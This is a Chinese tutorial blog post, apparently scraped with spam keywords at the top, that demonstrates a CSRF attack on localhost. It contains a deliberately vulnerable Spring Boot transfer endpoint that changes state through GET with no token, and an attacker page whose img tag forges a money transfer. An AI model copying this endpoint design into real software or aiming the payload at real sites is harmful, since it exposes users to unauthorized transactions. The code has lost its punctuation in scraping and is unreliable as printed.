旅游网站的主要功能,烟台网站建设团队,网页开发与制作的软件,拼多多网站建设框架图目录 CSRF(跨站请求伪造)攻击演示CSRF 是什么CSRF 演示项目代码CSRF 演示过程服务启动演示 CSRF(跨站请求伪造)攻击演示
CSRF 是什么
CSRF#xff08;Cross-Site Request Forgery#xff09;跨站请求伪造#xff0c;是一种网络安全攻击#xff0c;其目标是利用被攻击者在… 目录 CSRF(跨站请求伪造)攻击演示CSRF 是什么CSRF 演示项目代码CSRF 演示过程服务启动演示 CSRF(跨站请求伪造)攻击演示
CSRF 是什么
CSRFCross-Site Request Forgery跨站请求伪造是一种网络安全攻击其目标是利用被攻击者在某个网站的身份通常是通过 cookie 认证来伪造被攻击者的请求以执行某些未经授权的操作。
攻击步骤通常包括以下几个阶段
登录受害者攻击者诱使受害者登录到一个受信任的网站并在受信任网站上保留了他们的身份认证凭据比如 cookie。构造恶意请求攻击者在其控制的网站上嵌入了一些恶意代码或链接这段代码或链接会向目标网站发送请求利用受信任网站上受害者的身份。发起攻击受害者在已经登录了的情况下访问包含恶意代码的页面这将导致向目标网站发送伪造的请求执行某些未经授权的操作。这可能包括更改密码、发起转账、删除帐户等。
CSRF 演示项目代码
演示代码github - csrf-demo
项目目录如下 其中业务后端 CsrfController.java 代码为
package com.fhb.csrfdemo;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;RestController
RequestMapping(/)
public class CsrfController {GetMapping(/trans)public String trans(HttpServletRequest request, String name, Integer money) {HttpSession session request.getSession();Object people session.getAttribute(people);if (people null) return 没有登录;System.out.println(给 name 转账 money 元);return 转账成功;}GetMapping(/login)public String login(HttpServletRequest request) {HttpSession session request.getSession();session.setAttribute(people, people);return 登录成功;}
}业务前端代码较为简单代码为
!doctype html
html langen
headmeta charsetUTF-8meta nameviewportcontentwidthdevice-width, user-scalableno, initial-scale1.0, maximum-scale1.0, minimum-scale1.0meta http-equivX-UA-Compatible contentieedgetitleDocument/title
/head
bodyh1CSRF 攻击测试/h1button onclicktrans()转账/buttonbutton onclicklogin()登录/buttona hrefhttp://localhost:18080恶意链接/a
/bodyscript langjsasync function trans() {const response await fetch(/trans?namefhbmoney100);const info await response.text();alert(info);}async function login() {const response await fetch(/login);const info await response.text();alert(info);}
/script
/html恶意网站仅为一个 html 文件
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleDocument/title
/head
bodyh1CSRF攻击软件/h1img srchttp://localhost:8080/trans?namefffmoney10 altxxx srcset
/bodyscript
/script
/htmlCSRF 演示过程
服务启动 启动 java 程序 CsrfDemoApplication该 Spring Boot 服务将在 8080 端口提供服务 通过 npm 安装 http-server进入 malicious-web 文件夹, 通过 http-server . -p 18080 启动攻击者网站;
业务网站 ui 如下
演示
通过 http://localhost:8080 访问目标网站。
如果直接点击 “转账” 按钮将弹出提示框提示 没有登录 如果点击 “登录”弹出提示框提示 登录成功之后点击转账提示 转账成功并且在后端打印 给fhb转账100元在第2步的基础上点击 “恶意连接”将跳转到攻击者网站并且在后端打印 给fff转账10元表示攻击成功。